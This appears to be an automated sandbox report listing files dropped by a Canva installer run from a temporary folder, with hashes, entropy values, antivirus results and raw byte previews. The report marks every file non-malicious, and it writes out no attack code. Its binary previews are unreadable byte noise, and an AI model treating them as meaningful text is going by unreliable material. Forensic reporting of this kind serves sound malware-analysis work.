Preview:	............ ............... .(R............ .(.......``.... .........PP.... ..g......HH.... ..T......@@.... .(B.."^..<<.... .H:..J...00.... ..%......((.... .h...:...$$.... ......... .... .....0........ ......@........ ......O........ ......Y........ .h...._...PNG........IHDR.............\r.f....IDATx...y..WU&.?.ukHj..9...Q.s...HS. -..VZ....b7v.=......U@..m[.?..mK..Z.+..$@.cB.S.TR....5......^k?k.}.=.TFj.S..w.{\..^{o....N.w....\|.n...O.)..lH".. H....o.#.w....\dWB.$..v..w.>..F".fdf.(a..Y.Zx.%.....L.<.#..i.T.\|s.c.t.!A6...E0.L<)I.Rf.I...R+_. .I.u.K...])....}.../..Gz.N...I..hK.w...........".\|.fL..S..i...K.q.#.....T.+.v..cgB..Kw......s..'..)....t.cn.......^..6./.s6........\mB[...R.B..7U..>}$.....<....z....9....w.....z.Wu...N/.q7*..i....]...C.>........Ufl..;.dg:.?_9.u'...N...#m.1.u.7H....f.s....()...S%'.RxPk...r.x.%2..{.?...B]..s..I....G...$:x..I..P..;..B [...f.........8Ii..\P.L`xWgK.90... ....Hj./P~......p.h..~R.<4..8.I5=p..-......Z3'..<.i......$~ih.JV,.'

C:\Program Files (x86)\Canva\resources.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	5281234
Entropy (8bit):	7.996903093990653
Encrypted:	true
SSDEEP:	98304:UCNks/PeeUfLi93zJ/HbKKSoDr+cgSrwrNl8dtSip6QaVaK2nwuoM10mpmjy+0V4:UAk03dB7KRcRkrNi/SQaVN2wuJ10Le+1
MD5:	54790975C932460FFA375CD0F0F8FFF0
SHA1:	05B72FF82ABB8DDAC1A92471F765B87B7FF1E9FD
SHA-256:	1EFDD507BB6F4FB07329EC7EC29EE00C952D6390BD5CFE3B41FB307C5CAEAB6C
SHA-512:	D74627207CAA35602E68AD6C08A0EBF55FE062E191A1885EB38226755D382DD3407DEA883E4337C5CFF23C1F724D64E5598EDF7A5CE93D4CC1EA6EA10C41AA0E
Malicious:	false
Preview:	........5...f.\...{..)..\|..,..~.F0.....B.....D.....P....H................V...........B.....k.....M.....c...........F.....$.........t@....u@;...v@....w@....x@c...y@l...~@.&...@.,...@.1...@.1...A.1...A.5...A_7...A.<...A.E...AsT...A/u...Avv...A.w...A.w...A.\|..<AL...=AR...>A....?A....@A....AA....BA....CA....DA\....A.....A.....A....RIb...wI....xI....yI....zI....{I.....No)...N.6...N.>...N!B...N.E...N.O...N.P...N.R...NOS...N.....Nn....O.{...O\~..T`....U`....V`....W`x...X`....Y`....Z`v...[`.....`.....`.....`.....`m)...`d,...`.1...`.2...`@4...`.5...`.8...`.=...`.G..0aUO..1a.X..2a.]..3a>d..4a3o..5a~\|..6a....7a....8ao...9a....:a....;aV...<a....=a....pb....qb&...rb......V.............................j............................w..................................................9...._........................+$...`'............b........x............................@....7.....>..x..D..y..D..z.YE..{.gF....kH.....I..../....B...@F....G...{H....I....K...2N...<Q....R

C:\Program Files (x86)\Canva\resources\app-update.yml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.57987136972235
Encrypted:	false
SSDEEP:	3:ohFDukNeAiVIQXGxL0cbG3LCz5gtSWQn+ERHNyCHGTG:ov/eA27WGcbGGz5gcWQn+EPHGS
MD5:	2695A2101AC814E76A66F10140DC1C51
SHA1:	A614869A567A7044342C8ECF223B6108760522BB
SHA-256:	2D16A721225F4B5DF7E9089FF2DEE4882DD56230AA055014A66446FB464196E0
SHA-512:	DE059C12E1EFF34D3734E8F159E96BF1BF59094D9484F45281C652F9A583735113AF8AF4508C4943C61A74E4DBF5D961084FED7DD75CCD33824E9A826F637CB4
Malicious:	false
Preview:	provider: generic.url: https://desktop-release.canva.com.useMultipleRangeRequest: false.updaterCacheDirName: canva-updater.publisherName:. - Canva.

C:\Program Files (x86)\Canva\resources\app.asar (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	15734992
Entropy (8bit):	6.749226970655084
Encrypted:	false
SSDEEP:	98304:ROqtdo+yD0BVlJx5rh+yD0BcWYlAZIQKMWDcHEdBN+yBpWnBC:R5ryINJx5EyImWYiHyBQY
MD5:	524F2B9774C15BA779BA362DF782154F
SHA1:	7E9800300ACA8FA332592533431F9909F63B530D
SHA-256:	FD66C98090536FA8268D284E2E4D5F675BD3B4F40618929BA1635B74E2F06D14
SHA-512:	2A71ED3723AFB08E4208B59DD2156799C99A556787CAC21ADA48C2872F26FD83AC81BEF516181729A9E6C492D801EB5188F105B8FA0D9F1ACECFBDE170CD89A4
Malicious:	false
Preview:	................{"files":{"package.json":{"size":2691,"integrity":{"algorithm":"SHA256","hash":"d95b059ceee6fff5175a190753b0a889a25f40c2af500972d71cb71d1eac4b23","blockSize":4194304,"blocks":["d95b059ceee6fff5175a190753b0a889a25f40c2af500972d71cb71d1eac4b23"]},"offset":"0"},"dist":{"files":{"0104d262d85cb31049f5.strings.js":{"size":8938,"integrity":{"algorithm":"SHA256","hash":"b1e33f04d9dcd4b6d79ca2eab747537a222f325985e856701c2274ffec163719","blockSize":4194304,"blocks":["b1e33f04d9dcd4b6d79ca2eab747537a222f325985e856701c2274ffec163719"]},"offset":"2691"},"024c63a876f429feca4e.strings.js":{"size":5697,"integrity":{"algorithm":"SHA256","hash":"2e28ee6a049ed0ba127dba46ddf8fa80b9baedd07afea909001383183c3d9c20","blockSize":4194304,"blocks":["2e28ee6a049ed0ba127dba46ddf8fa80b9baedd07afea909001383183c3d9c20"]},"offset":"11629"},"02bffd264308f7eef680.strings.js":{"size":5398,"integrity":{"algorithm":"SHA256","hash":"48568aa7dce9fbb86980f1477319e4023cccd21a1b021f3dcda25a78d010c97a","blockSize

C:\Program Files (x86)\Canva\resources\elevate.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	130176
Entropy (8bit):	6.788440080352573
Encrypted:	false
SSDEEP:	3072:JKbLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWldqhSq0+j:IPrwRhte1XsE1ldqhSq0+
MD5:	DE37EA1C34D2677ACA6E258DC64A5190
SHA1:	87F89EB4F22B8CA4F75FB1D3F489092F099174D2
SHA-256:	1356F5E0C182456AFEB3A7293FBECD082257FBCC39A8BA1C8DBEDCA1D7A9C94A
SHA-512:	0DD2EF48FC9059AFA8B86538903DB0E36E1C7D4E79509981851B2714313065BC7DF4B83F3D379F0ECAAB3393ABAA149534650D4D38C425B62B0F146237BA888F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.................................^.....@....................................P.......x................X......T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\resources\is-EK79G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	130176
Entropy (8bit):	6.788440080352573
Encrypted:	false
SSDEEP:	3072:JKbLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWldqhSq0+j:IPrwRhte1XsE1ldqhSq0+
MD5:	DE37EA1C34D2677ACA6E258DC64A5190
SHA1:	87F89EB4F22B8CA4F75FB1D3F489092F099174D2
SHA-256:	1356F5E0C182456AFEB3A7293FBECD082257FBCC39A8BA1C8DBEDCA1D7A9C94A
SHA-512:	0DD2EF48FC9059AFA8B86538903DB0E36E1C7D4E79509981851B2714313065BC7DF4B83F3D379F0ECAAB3393ABAA149534650D4D38C425B62B0F146237BA888F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.................................^.....@....................................P.......x................X......T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\resources\is-KF6LJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.57987136972235
Encrypted:	false
SSDEEP:	3:ohFDukNeAiVIQXGxL0cbG3LCz5gtSWQn+ERHNyCHGTG:ov/eA27WGcbGGz5gcWQn+EPHGS
MD5:	2695A2101AC814E76A66F10140DC1C51
SHA1:	A614869A567A7044342C8ECF223B6108760522BB
SHA-256:	2D16A721225F4B5DF7E9089FF2DEE4882DD56230AA055014A66446FB464196E0
SHA-512:	DE059C12E1EFF34D3734E8F159E96BF1BF59094D9484F45281C652F9A583735113AF8AF4508C4943C61A74E4DBF5D961084FED7DD75CCD33824E9A826F637CB4
Malicious:	false
Preview:	provider: generic.url: https://desktop-release.canva.com.useMultipleRangeRequest: false.updaterCacheDirName: canva-updater.publisherName:. - Canva.

C:\Program Files (x86)\Canva\resources\is-NNAIS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	15734992
Entropy (8bit):	6.749226970655084
Encrypted:	false
SSDEEP:	98304:ROqtdo+yD0BVlJx5rh+yD0BcWYlAZIQKMWDcHEdBN+yBpWnBC:R5ryINJx5EyImWYiHyBQY
MD5:	524F2B9774C15BA779BA362DF782154F
SHA1:	7E9800300ACA8FA332592533431F9909F63B530D
SHA-256:	FD66C98090536FA8268D284E2E4D5F675BD3B4F40618929BA1635B74E2F06D14
SHA-512:	2A71ED3723AFB08E4208B59DD2156799C99A556787CAC21ADA48C2872F26FD83AC81BEF516181729A9E6C492D801EB5188F105B8FA0D9F1ACECFBDE170CD89A4
Malicious:	false
Preview:	................{"files":{"package.json":{"size":2691,"integrity":{"algorithm":"SHA256","hash":"d95b059ceee6fff5175a190753b0a889a25f40c2af500972d71cb71d1eac4b23","blockSize":4194304,"blocks":["d95b059ceee6fff5175a190753b0a889a25f40c2af500972d71cb71d1eac4b23"]},"offset":"0"},"dist":{"files":{"0104d262d85cb31049f5.strings.js":{"size":8938,"integrity":{"algorithm":"SHA256","hash":"b1e33f04d9dcd4b6d79ca2eab747537a222f325985e856701c2274ffec163719","blockSize":4194304,"blocks":["b1e33f04d9dcd4b6d79ca2eab747537a222f325985e856701c2274ffec163719"]},"offset":"2691"},"024c63a876f429feca4e.strings.js":{"size":5697,"integrity":{"algorithm":"SHA256","hash":"2e28ee6a049ed0ba127dba46ddf8fa80b9baedd07afea909001383183c3d9c20","blockSize":4194304,"blocks":["2e28ee6a049ed0ba127dba46ddf8fa80b9baedd07afea909001383183c3d9c20"]},"offset":"11629"},"02bffd264308f7eef680.strings.js":{"size":5398,"integrity":{"algorithm":"SHA256","hash":"48568aa7dce9fbb86980f1477319e4023cccd21a1b021f3dcda25a78d010c97a","blockSize

C:\Program Files (x86)\Canva\snapshot_blob.bin (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	306214
Entropy (8bit):	4.392850925698206
Encrypted:	false
SSDEEP:	3072:ogusbBDoCIdRSt25iD1Z3yAcCLi9wfuwWMvDdkbMzaQ:ogus9oCM9OUYffnWYWbIF
MD5:	AEDD1B80A8140B94C00DB3C0B9485772
SHA1:	2DC8444E599438ED37A31EBFE7F8859AF7FAC631
SHA-256:	C1DA41052ABE31791AE90A9DBE54442A641E1ECBB018EF35C44E7AED05B8F72E
SHA-512:	3E06CB550F46285D8DC81D1F082732C07E9C9D81ABE931E859262C7BA699D4EB9737581F5A5C5174E09BB0FC0561A9DE46298714CED38F453F922F9536C67D0C
Malicious:	false
Preview:	...............12.2.281.27-electron.0..........................................8L..N...........$....K..a........a........a2.......ar.......a2.......aT.........."..............B..............b........."..............B........(Jb....L.....@..F^.-..1.`.....(Jb...2P.....@..F^..`.....H...IDa........Db............D`.....).D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.........................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	InnoSetup Log Canva {E2B12A21-5B2A-41DE-8007-E1CC4F4A331B}, version 0x418, 11563759 bytes, 216865\37\user\376, C:\Program Files (x86)\Canva\376\377\377\0
Category:	dropped
Size (bytes):	11563759
Entropy (8bit):	4.020584850937341
Encrypted:	false
SSDEEP:	49152:O9qD0FMq26gg+2VcDYkGjPATQC5z4QikkX+diy1dq1aPPNDI4cHufoO3q92Q:O
MD5:	5A332D9A0A1B5C2456B1ADBDB2CD9B5E
SHA1:	DED4222C5D4234EE0C2FF251F27F8E9C6FE2C05B
SHA-256:	DBDC42F9F5DE2A0EB41844393D7BFCCE8BD971FE7050A439F5DD205EB23CE7FC
SHA-512:	5DC383A924AFD71281AD6E895A549202055734677024270952E18162CFB8A2E473D6BDCDE29459928CC5B470A89FE5B8D2EAB8C2F161E8BE085EFA9AC3EAB5DB
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................{E2B12A21-5B2A-41DE-8007-E1CC4F4A331B}}.........................................................................................Canva...............................................................................................................................V....r..................................................................................................................}B.............4......s........2.1.6.8.6.5......j.o.n.e.s......C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.a.n.v.a................4...s.. .....<...VAP.IFPS....#........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM.........TEXECWAIT.........TSETUPSTEP.....u...........!MAIN....-1.v.......

C:\Program Files (x86)\Canva\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3723837
Entropy (8bit):	6.593259965429601
Encrypted:	false
SSDEEP:	98304:oJYVM+LtVt3P/KuG2ONG9iqLRQV333K09:5VL/tnHGYiqln0
MD5:	11A5CDE3AE5BC1EF3F6F8E84FEC543F2
SHA1:	2BA4A3A6079E019752D079AA864F0E6C7E6443D5
SHA-256:	2752E7CDDBEECCC09976277F24D4CD9AA7B9D0F354F4F3E7B10103320CC679F3
SHA-512:	5CC53E4C6003129F37F969A4EEA7F8AA84CCF1BC5A69E25A5A648A4F6CA429246B073426F94EB963EBE991BD04BBEBAD95133A41CFFC1B8374E0C4B20667D966
Malicious:	false
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................@9...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Program Files (x86)\Canva\v8_context_snapshot.bin (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	679161
Entropy (8bit):	5.217457437935302
Encrypted:	false
SSDEEP:	6144:m/h8ML2Zu/Bg90Ws9oCM9Otxh6vtDINPbIgTtLAkW/cB2Z0JZkQXEzBO+lZ:myMSZu/Bg90BuCzIP/+2ZGZazJlZ
MD5:	0C259ECBB12E6F3F0E076E6200221489
SHA1:	3DE53DCAFDCE24C151DD1812769B46ACEA77C90C
SHA-256:	83A8345EA197020E07FE2CF53E74F31D0CC632CA1537F5C9C1DB2FB2665AB04F
SHA-512:	6EF39EE8B7D40C5E6C0E79F8C4E846D431A6A87711D025122E2E7F060C5754FFF917771D5EDE6ADEC3BE909FB5CE0E8EB1DF5E18142ECDB6339BDDE8CE2C8398
Malicious:	false
Preview:	........a. ..?h12.2.281.27-electron.0..................................................................$...x...a........a........a........ar.......a2.......aT.........."..............B..............b........."..............B........(Jb....L.....@..F^.-..1.`.....(Jb...2P.....@..F^..`.....H...IDa........Db............D`.....).D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\vk_swiftshader.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5312000
Entropy (8bit):	6.364537003040197
Encrypted:	false
SSDEEP:	49152:YL1wrvfRIQkXfBe1IlA8gE+LGHEYXb3GNfsUd9QjqZztkJCP1pSN6WxHEmp+DnnV:81w7weOqiFIYBgTE
MD5:	8FE00EBE76542263463877F27417EC61
SHA1:	763502E57A3C4FBE5FC25EE7E9C942D94505D244
SHA-256:	46AFB1ED7AB1B1A679E00784B2E78CC2358CEC615553699624FF77882F55787B
SHA-512:	62B375B40EEDF04D03D8465570634B56D529E9525BD6D81BE94B40C7DA21CCCAA808BE97649F9404DED9EDD5CE129F9FB1D462C6A1986A25FA8A228857CDA5A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." .....n@...........:.......................................R...........`A.........................................sL.......L.P.....Q......0P..^............R.t~...0L.....................x/L.(...@.@.@........... .L.P............................text....m@......n@................. ..`.rdata........@......r@.............@..@.data........pM......ZM.............@....pdata...^...0P..`....N.............@..@.gxfg....-....Q......TP.............@..@.retplne......Q.......P..................tls....Y.....Q.......P.............@..._RDATA..\.....Q.......P.............@..@.rsrc.........Q.......P.............@..@.reloc..t~....R.......P.............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\vk_swiftshader_icd.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	4.724752649036734
Encrypted:	false
SSDEEP:	3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
MD5:	8642DD3A87E2DE6E991FAE08458E302B
SHA1:	9C06735C31CEC00600FD763A92F8112D085BD12A
SHA-256:	32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
SHA-512:	F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
Malicious:	false
Preview:	{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

C:\Program Files (x86)\Canva\vulkan-1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	954368
Entropy (8bit):	6.588968362833733
Encrypted:	false
SSDEEP:	24576:CkMYSDIukxvnwhdzY96Z5WiDYsH56g3P0zAk7lE1:Cku0fwhC96Z5WiDYsH56g3P0zAk7l
MD5:	D8F31216785E204DA9BAD10E9F3734B7
SHA1:	BE7F53566DBAEC5DBE61AFC76BF7401CFC42EF08
SHA-256:	FA6B4E20EB448746E2EFF9A7FDE7A62585E371F3497A6A928EADE0A8CE8C1A9F
SHA-512:	D7EF5EF7ED9B5559E107369849ADCD18FB9C9C3A90033731A46C4B5D3BA431582936E54E5B5918CE19A667B3F1EB369A93BC3F9A03DF8E5397E5F80DC21A61A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......................................................... ............`A............................................<!...3..P............ ..Xq..............(...,...........................(...@...@............8...............................text...{........................... ..`.rdata..............................@..@.data...pL......."..................@....pdata..Xq... ...r..................@..@.gxfg...P).......*...N..............@..@.retplne.............x...................tls.................z..............@..._RDATA..\............\|..............@..@.rsrc................~..............@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.349594204864264
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrN:KooCEYhgYEL0In
MD5:	C15A7A933E9AE686C10F2136BAB6CD3A
SHA1:	0CAB50BD9320576766AB3A80A96E3D0D84B6A779
SHA-256:	0859F6E3E7FA7F9126A7DF5153C3D2F880DC8103BCD7A4A6F69CE58207D48B06
SHA-512:	7BC465E512567C3270FD7CE11186606B3AC24F64C580DEBBE2AC9CEBF1C68072E2D57DAB39ADEDF7E5DE7140C72751C013DDF2C255EC7B8FA6BBD74A9EB1412D
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xddcb9593, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220998599011155
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	EC71EED48A84E9DB0432A4E159758AA3
SHA1:	4B44EECDFA0F9DD4F44875181F8BC607A8A2201C
SHA-256:	A87AA98537933579CCB3F4A8A2CCB4234377D02AACE5B865577A053AF403476B
SHA-512:	7F6BB2A3BC6A47B1C6FCF2DD672A2222189BE909AE9DC824FB6DCD50EA9D989C2E2A6354633E59DCDFD5E3C8F269BCD2DD7B0613D5C41FBBAA303848FAD18AFB
Malicious:	false
Preview:	...... .......A.......X\...;...{......................0.!..........{A..5...\|s.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.......................................5...\|s..................74..5...\|s..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07549851276471338
Encrypted:	false
SSDEEP:	3:a8YeS43plkjn13a/xg3pt/allcVO/lnlZMxZNQl:xz1k53qvOewk
MD5:	0F8C57D4ECA50E8DF79A33F90AC246E3
SHA1:	72E078EB1EFA99A4EDD8DF4BB2C7D0605A7E557E
SHA-256:	FFF815EB57318354DB9D7FE5B8C534E9527F03FE357057FFA5EC96DB3B71C5D5
SHA-512:	92D74B3295BB4EC37C8BD9F9377CE7D22F080CAEC35A712E49A5B5FFE4B1BB3DB799B6C792E8F7FFD23C873D50BF59C15A8B1090E75967802CCC4E2997523BB0
Malicious:	false
Preview:	&t.......................................;...{...5...\|s......{A..............{A......{A..........{A].................74..5...\|s.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Canva\Canva.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Thu Nov 28 07:52:23 2024, mtime=Thu Nov 28 07:52:31 2024, atime=Sun Oct 13 22:12:00 2024, length=176670344, window=hide
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	4.566231385100691
Encrypted:	false
SSDEEP:	24:8m/BWWEGdOEaQ8l7x940lFAtA4Md1lylEgd1lLSlffUUkMq9qyFm:8m/BWJGdOHQ07X4cutAJdv2TdvLWfM0i
MD5:	ED161554138A6EE5C3F84749F2D1F2E1
SHA1:	984FF4F409136652B74F2AA56BF190E30D351194
SHA-256:	FCA10580BF2394E403F7D53494E1C792B5593C83F362EF9A0BC30204FD68CF77
SHA-512:	403C5B34DA98DEB605524303979826E2CBCD7C5FEA9A7CE77861DE80ADF8FAFB3A515C68B2632F967ECF5947CF6B038D59FE618B938BDD3AC83661F3233631DE
Malicious:	false
Preview:	L..................F.... ....&..rA...yT.rA....zN...........................s....P.O. .:i.....+00.../C:\.....................1.....\|Y.F..PROGRA~2.........O.I\|Y.F....................V.....qP}.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....P.1.....\|Y.F..Canva.<......\|Y.F\|Y.F..........................oT .C.a.n.v.a.....\.2....MY.. .Canva.exe.D......\|Y.F\|Y.F..............................C.a.n.v.a...e.x.e.......U...............-.......T.............\......C:\Program Files (x86)\Canva\Canva.exe..5.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.a.n.v.a.\.C.a.n.v.a...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.a.n.v.a.".%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.C.a.n.v.a.\.p.1.0.3...i.c.o.........*................@Z\|...K.J.........`.......X.......216865...........hT..CrF.f4... .....f....,.......hT..CrF.f4... .....f....,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	410
Entropy (8bit):	5.361827289088002
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAq1KDLI4M0kvoDLI4MWuCv:ML9E4KH1qE4jE4Ks
MD5:	812F0A8C671812AA613FC139B69E8614
SHA1:	B4177437C50B25B06FB885362DA36FD171A1C5A9
SHA-256:	6D3DF2C3EA20D3A411078200AFA62DAC6AABA4210C83A2186E80195977BF0F89
SHA-512:	6A82C1F195C66FCC0533B20B8AE9B4F9CEBED6C8D7B450C574E864A60D627F3ABE32081BF65822157716F4672180E19C0DFA91D88663F7FC3CBE7FD0EB36B2EA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	5.48038049020755
Encrypted:	false
SSDEEP:	48:LWSU4xympjmZ9tz4RIoUeNWR831NFZ9001dqr:LLHxvMZfIfjW8fS01Yr
MD5:	0B1E51B1385CBE53BAA6214C084340C9
SHA1:	B80AF02CB5C466385F64D0E97C1B90B4F56F6DEA
SHA-256:	3BFDFD6B8E52C9580E096F0D254A94C717E0AF0F094EACED9008778911AD254A
SHA-512:	57B403F5B4DEE41851AFFA440161A01C7B9FCBA9EF29C6D55E13672E183AE342E712432CDBFDB7CAC0BB1AF197C7C8D881FE6A767B41CBDFA121D68167203FDD
Malicious:	false
